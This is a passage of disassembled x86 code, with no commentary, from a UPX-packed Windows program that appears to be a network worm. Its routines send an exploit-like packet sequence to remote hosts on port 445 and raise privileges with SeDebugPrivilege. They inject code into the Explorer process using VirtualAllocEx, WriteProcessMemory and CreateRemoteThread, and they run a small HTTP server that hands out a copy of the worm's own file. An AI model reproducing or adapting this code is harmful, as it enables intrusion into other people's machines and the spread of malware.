		pop	edi
		xor	ebx, ebx
		mov	[ebp+var_14], eax
		mov	eax, dword_31424C88
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edi
		call	dword_31421158	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_31421D61
		push	esi
		mov	esi, [ebp+arg_0]
		push	1Dh
		push	esi
		call	dword_3142115C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		call	dword_3142109C	; lstrcpynA
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset loc_31424C78
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_133]


loc_31421874:				; CODE XREF: sub_31421801+83j
		mov	dl, [ebp+ecx+var_4C]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_31421874
		push	60h
		lea	eax, [ebp+var_E4]
		push	offset dword_31424798
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_31422CDC	; strlen
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 1Ch
		lea	eax, [ebp+var_4C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_31422CDC	; strlen
		pop	ecx
		lea	eax, [ebp+eax*2+var_B5]
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_31422CDC	; strlen
		add	al, 1Ah
		push	edi
		shl	al, 1
		mov	[ebp+var_5], al
		lea	eax, [ebp+var_5]
		push	eax
		lea	eax, [ebp+var_E1]
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_31422CDC	; strlen
		shl	al, 1
		add	al, 9
		push	edi
		mov	[ebp+var_6], al
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_B7]
		push	eax
		call	sub_31422CE2	; memcpy
		push	0E29h
		lea	eax, [ebp+var_1F28]
		push	31h
		push	eax
		call	sub_31422CD6	; memset
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_31422CD6	; memset
		add	esp, 44h
		mov	[ebp+var_24], 2
		push	1BDh
		call	dword_31421160	; ntohs
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	[ebp+var_4]
		mov	[ebp+var_20], esi
		call	dword_31421164	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D57
		mov	esi, dword_31421094
		mov	edi, 0C8h
		push	edi
		call	esi	; Sleep
		push	ebx
		mov	ebx, dword_31421168
		push	89h
		push	offset dword_31424580
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		push	0
		push	0A8h
		push	offset dword_3142460C
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		push	0
		push	0DEh
		push	offset dword_314246B8
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		cmp	eax, 46h
		jl	loc_31421D4C
		cmp	[ebp+var_730], 31h
		jnz	loc_31421BF7
		and	[ebp+arg_0], 0
		push	7D0h
		lea	eax, [ebp+var_F44]
		push	90h
		push	eax
		call	sub_31422CD6	; memset
		add	esp, 0Ch
		push	offset byte_314242B8
		call	dword_31421084	; lstrlenA
		push	eax
		lea	eax, [ebp+var_EA4]
		push	offset byte_314242B8
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_31421084	; lstrlenA
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_788]
		push	eax
		call	sub_31422CE2	; memcpy
		mov	eax, dword_31424BBE
		add	esp, 0Ch
		mov	[ebp+var_798], eax


loc_31421A98:				; CODE XREF: sub_31421801+4E1j
		movsx	eax, [ebp+var_5]
		add	eax, 4
		push	0
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		push	0
		push	68h
		push	offset dword_314247FC
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		push	0
		push	0A0h
		push	offset dword_31424868
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		cmp	[ebp+arg_0], 0
		jz	loc_31421CE7
		push	68h
		lea	eax, [ebp+var_89E4]
		push	offset dword_31424A20
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_4834]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_897C]
		push	eax
		call	sub_31422CE2	; memcpy
		push	70h
		lea	eax, [ebp+var_690C]
		push	offset dword_31424A8C
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_37A0]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_689C]
		push	eax
		call	sub_31422CE2	; memcpy
		push	84h
		lea	eax, [ebp+var_5DD8]
		push	offset dword_31424B00
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 3Ch
		lea	eax, [ebp+var_89E4]
		push	0
		push	10FCh
		push	eax
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		push	0
		push	0FDCh
		lea	eax, [ebp+var_690C]
		jmp	loc_31421D3F
; ---------------------------------------------------------------------------


loc_31421BF7:				; CODE XREF: sub_31421801+22Bj
		push	0DACh
		lea	eax, [ebp+var_2CD8]
		push	90h
		push	eax
		mov	[ebp+arg_0], 1
		call	sub_31422CD6	; memset
		push	4
		lea	eax, [ebp+var_24F4]
		push	offset dword_31424BF8
		push	eax
		call	sub_31422CE2	; memcpy
		push	offset byte_314242B8
		call	sub_31422CDC	; strlen
		push	eax
		lea	eax, [ebp+var_24E4]
		push	offset byte_314242B8
		push	eax
		call	sub_31422CE2	; memcpy
		push	4
		lea	eax, [ebp+var_21C0]
		push	offset loc_31424C70
		push	eax
		call	sub_31422CE2	; memcpy
		push	4
		lea	eax, [ebp+var_21BC]
		push	offset dword_31424BF8
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 40h
		push	offset byte_314242B8
		call	sub_31422CDC	; strlen
		push	eax
		lea	eax, [ebp+var_21B0]
		push	offset byte_314242B8
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_4833]


loc_31421C93:				; CODE XREF: sub_31421801+4A8j
		mov	dl, [ebp+ecx+var_2CD8]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 0DACh
		jl	short loc_31421C93
		and	[ebp+var_2CDC],	0
		and	[ebp+var_2CDB],	0
		push	1C52h
		lea	eax, [ebp+var_89E4]
		push	31h
		push	eax
		call	sub_31422CD6	; memset
		push	1C52h
		lea	eax, [ebp+var_690C]
		push	31h
		push	eax
		call	sub_31422CD6	; memset
		add	esp, 18h
		jmp	loc_31421A98
; ---------------------------------------------------------------------------


loc_31421CE7:				; CODE XREF: sub_31421801+339j
		push	7Ch
		lea	eax, [ebp+var_1F28]
		push	offset dword_3142490C
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_F44]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_1EAC]
		push	eax
		call	sub_31422CE2	; memcpy
		push	90h
		lea	eax, [ebp+var_16DC]
		push	offset dword_3142498C
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 24h
		and	[ebp+var_1231],	0
		lea	eax, [ebp+var_1F28]
		push	0
		push	0CF8h


loc_31421D3F:				; CODE XREF: sub_31421801+3F1j
		push	eax
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		and	[ebp+var_C], 0


loc_31421D4C:				; CODE XREF: sub_31421801+1ADj
					; sub_31421801+1E1j ...
		push	2
		push	[ebp+var_4]
		call	dword_31421170	; shutdown


loc_31421D57:				; CODE XREF: sub_31421801+166j
		push	[ebp+var_4]
		call	dword_31421174	; closesocket
		pop	esi


loc_31421D61:				; CODE XREF: sub_31421801+37j
		mov	eax, [ebp+var_C]
		pop	edi
		pop	ebx
		leave
		retn
sub_31421801	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421D68	proc near		; CODE XREF: UPX0:loc_31422376p

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		push	edi
		push	offset aAdvapi32 ; "advapi32"
		call	dword_314210A8	; LoadLibraryA
		mov	esi, dword_314210A4
		mov	edi, eax
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	short loc_31421DEC
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_31421DEC
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		call	esi	; GetProcAddress
		mov	esi, eax
		test	esi, esi
		jz	short loc_31421DEC
		lea	eax, [ebp+var_C]
		push	eax
		push	20h
		call	dword_314210A0	; GetCurrentProcess
		push	eax
		call	[ebp+var_4]
		lea	eax, [ebp+var_18]
		mov	[ebp+var_1C], 1
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	0
		mov	[ebp+var_10], 2
		call	[ebp+var_8]
		push	0
		push	0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	0
		push	[ebp+var_C]
		call	esi	; GetProcAddress


loc_31421DEC:				; CODE XREF: sub_31421D68+28j
					; sub_31421D68+37j ...
		pop	edi
		pop	esi
		leave
		retn
sub_31421D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421DF0	proc near		; CODE XREF: UPX0:3142238Ap

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	ecx, dword_31425000
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	eax, [ecx+3Ch]
		push	edi
		add	eax, ecx
		push	offset aKernel32 ; "kernel32"
		mov	ecx, [eax+34h]
		mov	edi, [eax+50h]
		mov	[ebp+var_C], ecx
		call	dword_314210B4	; GetModuleHandleA
		mov	esi, dword_314210A4
		mov	ebx, eax
		push	offset aVirtualallocex ; "VirtualAllocEx"
		push	ebx
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_10], eax
		jnz	short loc_31421E37


loc_31421E33:				; CODE XREF: sub_31421DF0+54j
		push	1
		jmp	short loc_31421E88
; ---------------------------------------------------------------------------


loc_31421E37:				; CODE XREF: sub_31421DF0+41j
		push	offset aCreateremoteth ; "CreateRemoteThread"
		push	ebx
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_14], eax
		jz	short loc_31421E33
		push	0
		push	offset aShell_traywnd ;	"Shell_TrayWnd"
		call	dword_31421110	; FindWindowA
		test	eax, eax
		jnz	short loc_31421E65
		call	dword_31421114	; GetForegroundWindow
		test	eax, eax
		jnz	short loc_31421E65
		push	2
		jmp	short loc_31421E88
; ---------------------------------------------------------------------------


loc_31421E65:				; CODE XREF: sub_31421DF0+65j
					; sub_31421DF0+6Fj
		lea	ecx, [ebp+var_8]
		push	ecx
		push	eax
		call	dword_31421118	; GetWindowThreadProcessId
		push	[ebp+var_8]
		push	0
		push	42Ah
		call	dword_314210B0	; OpenProcess
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_31421E8B
		push	3


loc_31421E88:				; CODE XREF: sub_31421DF0+45j
					; sub_31421DF0+73j
		pop	eax
		jmp	short loc_31421EF6
; ---------------------------------------------------------------------------


loc_31421E8B:				; CODE XREF: sub_31421DF0+94j
		push	4
		push	3000h
		push	edi
		push	[ebp+var_C]
		push	ebx
		call	[ebp+var_10]
		mov	esi, dword_3142107C
		test	eax, eax
		jz	short loc_31421EE9
		lea	ecx, [ebp+var_10]
		push	ecx
		push	edi
		push	eax
		push	eax
		push	ebx
		call	dword_314210AC	; WriteProcessMemory
		push	dword_31424FF4
		call	esi	; CloseHandle
		lea	eax, [ebp+var_18]
		xor	edi, edi
		push	eax
		push	edi
		push	1
		push	[ebp+arg_0]
		push	edi
		push	edi
		push	ebx
		call	[ebp+var_14]
		cmp	eax, edi
		jz	short loc_31421ED5
		push	eax
		call	esi	; CloseHandle
		jmp	short loc_31421EF0
; ---------------------------------------------------------------------------


loc_31421ED5:				; CODE XREF: sub_31421DF0+DEj
		push	offset aUterm19	; "uterm19"
		call	sub_31421F29
		pop	ecx
		mov	[ebp+var_4], 5
		jmp	short loc_31421EF0
; ---------------------------------------------------------------------------


loc_31421EE9:				; CODE XREF: sub_31421DF0+B2j
		mov	[ebp+var_4], 4


loc_31421EF0:				; CODE XREF: sub_31421DF0+E3j
					; sub_31421DF0+F7j
		push	ebx
		call	esi	; CloseHandle
		mov	eax, [ebp+var_4]


loc_31421EF6:				; CODE XREF: sub_31421DF0+99j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31421DF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421EFB	proc near		; CODE XREF: sub_314221C4+Bp
					; UPX0:3142234Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		pusha
		rdtsc
		mov	[ebp+var_8], eax
		popa
		mov	[ebp+var_4], esp
		call	dword_314210B8	; GetTickCount
		mov	ecx, [ebp+var_4]
		imul	ecx, [ebp+var_8]
		add	eax, ecx
		push	eax
		call	dword_314210EC	; srand
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31421EFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_31421F29	proc near		; CODE XREF: sub_31421DF0+EAp
					; UPX0:31422356p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	1
		push	0
		call	dword_314210BC	; CreateMutexA
		retn
sub_31421F29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421F38	proc near		; CODE XREF: sub_314223B2+155p
					; sub_314223B2+160p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		xor	eax, eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		push	eax
		call	dword_314210C0	; CreateThread
		pop	ebp
		retn
sub_31421F38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421F52	proc near		; CODE XREF: sub_314221C4+12Cp
					; sub_314225C3+5Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		xor	eax, eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		push	eax
		call	dword_314210C0	; CreateThread
		push	eax
		call	dword_3142107C	; CloseHandle
		pop	ebp
		retn
sub_31421F52	endp


; =============== S U B	R O U T	I N E =======================================



sub_31421F73	proc near		; CODE XREF: sub_314211A0+68p
					; sub_31422A9B+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		xor	esi, esi
		test	edi, edi
		jle	short loc_31421F9B


loc_31421F84:				; CODE XREF: sub_31421F73+26j
		call	dword_314210FC	; rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[esi+ebx], dl
		inc	esi
		cmp	esi, edi
		jl	short loc_31421F84


loc_31421F9B:				; CODE XREF: sub_31421F73+Fj
		and	byte ptr [ebx+edi], 0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_31421F73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421FA3	proc near		; CODE XREF: sub_314211A0+105p

var_54		= dword	ptr -54h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	esi
		push	edi
		push	44h
		xor	esi, esi
		pop	edi
		lea	eax, [ebp+var_54]
		push	edi
		push	esi
		push	eax
		call	sub_31422CD6	; memset
		mov	ax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	[ebp+var_54], edi
		push	[ebp+arg_0]
		push	esi
		call	dword_314210C4	; CreateProcessA
		push	[ebp+var_C]
		mov	esi, dword_3142107C
		mov	edi, eax
		call	esi	; CloseHandle
		push	[ebp+var_10]
		call	esi	; CloseHandle
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_31421FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421FF9	proc near		; CODE XREF: sub_3142264B+3Ep
					; sub_31422712+7p ...

var_34		= byte ptr -34h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		lea	eax, [ebp+var_34]
		push	31h
		push	eax
		call	dword_3142114C	; gethostname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_3142201A
		call	dword_31421150	; WSAGetLastError
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_3142201A:				; CODE XREF: sub_31421FF9+15j
		lea	eax, [ebp+var_34]
		push	eax
		call	dword_31421154	; gethostbyname
		test	eax, eax
		jnz	short loc_3142202F
		mov	eax, 100007Fh
		leave
		retn
; ---------------------------------------------------------------------------


loc_3142202F:				; CODE XREF: sub_31421FF9+2Dj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		leave
		retn
sub_31421FF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_31422038	proc near		; CODE XREF: sub_314216A2+12p
					; sub_3142255F+22p ...

var_4		= byte ptr -4

		push	ecx
		lea	eax, [esp+4+var_4]
		push	0
		push	eax
		call	dword_31421130	; InternetGetConnectedState
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		retn
sub_31422038	endp


; =============== S U B	R O U T	I N E =======================================



sub_3142204E	proc near		; CODE XREF: sub_314223B2+E6p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	0
		push	2
		call	dword_314210CC	; OpenEventA
		test	eax, eax
		jz	short locret_31422067
		push	eax
		call	dword_314210C8	; SetEvent

locret_31422067:			; CODE XREF: sub_3142204E+10j
		retn
sub_3142204E	endp


; =============== S U B	R O U T	I N E =======================================



sub_31422068	proc near		; CODE XREF: sub_314216A2+68p
		push	esi
		mov	esi, dword_314210FC
		push	edi
		call	esi	; rand
		mov	edi, eax
		shl	edi, 10h
		call	esi	; rand
		or	eax, edi
		pop	edi
		pop	esi
		retn
sub_31422068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142207E	proc near		; DATA XREF: sub_314221C4+127o

var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		lea	eax, [ebp+var_100]
		push	edi
		push	100h
		push	eax
		push	ebx
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_314220AF
		push	1
		jmp	loc_3142216A
; ---------------------------------------------------------------------------


loc_314220AF:				; CODE XREF: sub_3142207E+28j
		mov	esi, dword_31421104
		lea	eax, [ebp+var_100]
		push	offset aGet	; "GET"
		push	eax
		call	esi	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_3142217A
		lea	eax, [ebp+var_100]
		push	offset dword_314241F0
		push	eax
		call	esi	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_3142217A
		mov	esi, dword_31421168
		push	0
		push	3Dh
		push	offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"...
		push	ebx
		call	esi	; send
		push	dword_31424FF0
		lea	eax, [ebp+var_200]
		push	offset aContentLengthU ; "Content-Length: %u\r\n\r\n"
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_31422CDC	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		call	esi	; send


loc_3142212C:				; CODE XREF: sub_3142207E+E8j
		mov	eax, dword_31424FF0
		mov	ecx, 1000h
		sub	eax, edi
		cmp	eax, ecx
		jb	short loc_3142213E
		mov	eax, ecx


loc_3142213E:				; CODE XREF: sub_3142207E+BCj
		test	eax, eax
		jz	short loc_3142216D
		push	0
		push	eax
		mov	eax, dword_31424FE8
		add	eax, edi
		push	eax
		push	ebx
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_31422168
		cmp	eax, 1000h
		jb	short loc_3142216D
		push	64h
		add	edi, eax
		call	dword_31421094	; Sleep
		jmp	short loc_3142212C
; ---------------------------------------------------------------------------


loc_31422168:				; CODE XREF: sub_3142207E+D5j
		push	2


loc_3142216A:				; CODE XREF: sub_3142207E+2Cj
		pop	eax
		jmp	short loc_314221BD
; ---------------------------------------------------------------------------


loc_3142216D:				; CODE XREF: sub_3142207E+C2j
					; sub_3142207E+DCj
		push	offset dword_31424FEC
		call	dword_314210D4	; InterlockedIncrement
		jmp	short loc_31422198
; ---------------------------------------------------------------------------


loc_3142217A:				; CODE XREF: sub_3142207E+49j
					; sub_3142207E+61j
		mov	esi, dword_31421168
		push	0
		push	15h
		push	offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n"
		push	ebx
		call	esi	; send
		push	0
		push	3
		push	offset dword_31424D38
		push	ebx
		call	esi	; send


loc_31422198:				; CODE XREF: sub_3142207E+FAj
		push	7D0h
		call	dword_31421094	; Sleep
		push	2
		push	ebx
		call	dword_31421170	; shutdown
		push	ebx
		call	dword_31421174	; closesocket
		push	0
		call	dword_314210D0	; ExitThread
		xor	eax, eax


loc_314221BD:				; CODE XREF: sub_3142207E+EDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_3142207E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314221C4	proc near		; DATA XREF: sub_314223B2+150o

var_130		= byte ptr -130h
var_28		= byte ptr -28h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		push	edi
		call	sub_31421EFB
		lea	eax, [ebp+var_130]
		push	104h
		push	eax
		push	offset aCryptographicS ; "Cryptographic	Service"
		xor	ebx, ebx
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	dword_31424FEC,	ebx
		call	sub_31422882
		add	esp, 14h
		test	eax, eax
		jnz	loc_314222F9
		push	esi
		push	ebx
		push	ebx
		push	3
		push	ebx
		push	1
		lea	eax, [ebp+var_130]
		push	80000000h
		push	eax
		call	dword_31421080	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_31422230
		push	1
		call	dword_314210D0	; ExitThread


loc_31422230:				; CODE XREF: sub_314221C4+62j
		push	ebx
		push	esi
		call	dword_314210DC	; GetFileSize
		push	eax
		mov	dword_31424FF0,	eax
		call	sub_31422CA5
		pop	ecx
		mov	dword_31424FE8,	eax
		lea	ecx, [ebp+var_4]
		push	ebx
		push	ecx
		push	dword_31424FF0
		push	eax
		push	esi
		call	dword_314210D8	; ReadFile
		mov	eax, [ebp+var_4]
		push	esi
		mov	dword_31424FF0,	eax
		call	dword_3142107C	; CloseHandle
		push	ebx
		push	1
		push	2
		call	dword_31421158	; socket
		push	10h
		mov	edi, eax
		pop	esi
		lea	eax, [ebp+var_18]
		push	esi
		push	ebx
		push	eax
		call	sub_31422CD6	; memset
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], ebx


loc_31422292:				; CODE XREF: sub_314221C4+E5j
					; sub_314221C4+EDj ...
		call	dword_314210FC	; rand
		add	eax, 7D0h
		and	eax, 1FFFh
		cmp	al, bl
		mov	dword_31424FFC,	eax
		jz	short loc_31422292
		xor	ecx, ecx
		mov	cl, ah
		test	cl, cl
		jz	short loc_31422292
		push	eax
		call	dword_31421160	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		push	edi
		call	dword_31421140	; bind
		test	eax, eax
		jnz	short loc_31422292
		push	64h
		push	edi
		call	dword_31421144	; listen
		mov	[ebp+var_8], esi
		pop	esi


loc_314222DB:				; CODE XREF: sub_314221C4+133j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	edi
		call	dword_31421148	; accept
		push	eax
		push	offset sub_3142207E
		call	sub_31421F52
		pop	ecx
		pop	ecx
		jmp	short loc_314222DB
; ---------------------------------------------------------------------------


loc_314222F9:				; CODE XREF: sub_314221C4+3Dj
		push	ebx
		call	dword_314210D0	; ExitThread
		pop	edi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_314221C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31422308	proc near		; CODE XREF: sub_314223B2:loc_314224FCp

var_190		= byte ptr -190h

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		lea	eax, [ebp+var_190]
		push	esi
		mov	esi, dword_3142113C
		push	eax
		push	2
		call	esi	; WSAStartup
		lea	eax, [ebp+var_190]
		push	eax
		push	102h
		call	esi	; WSAStartup
		pop	esi
		leave
		retn
sub_31422308	endp

; ---------------------------------------------------------------------------


loc_31422334:				; CODE XREF: UPX1:31427D08j
		push	0
		call	dword_314210B4	; GetModuleHandleA
		push	offset aFtpupd_exe ; "ftpupd.exe"
		mov	dword_31425000,	eax
		call	dword_31421074	; DeleteFileA
		call	sub_31421EFB
		push	offset aUterm19	; "uterm19"
		call	sub_31421F29
		pop	ecx
		mov	dword_31424FF4,	eax
		call	dword_314210E4	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_31422376
		push	1
		call	dword_314210E0	; ExitProcess


loc_31422376:				; CODE XREF: UPX0:3142236Cj
		call	sub_31421D68
		call	sub_314229E6
		call	sub_31422B67
		push	offset sub_314223B2
		call	sub_31421DF0
		test	eax, eax
		pop	ecx
		jz	short loc_3142239B
		push	0
		call	sub_314223B2


loc_3142239B:				; CODE XREF: UPX0:31422392j
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_3142239E	proc near		; CODE XREF: sub_314223B2:loc_31422525p
					; sub_3142255F:loc_31422578p ...
		push	0
		push	dword_31424FF8
		call	dword_31421070	; WaitForSingleObject
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_3142239E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314223B2	proc near		; CODE XREF: UPX0:31422396p
					; DATA XREF: UPX0:31422385o

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
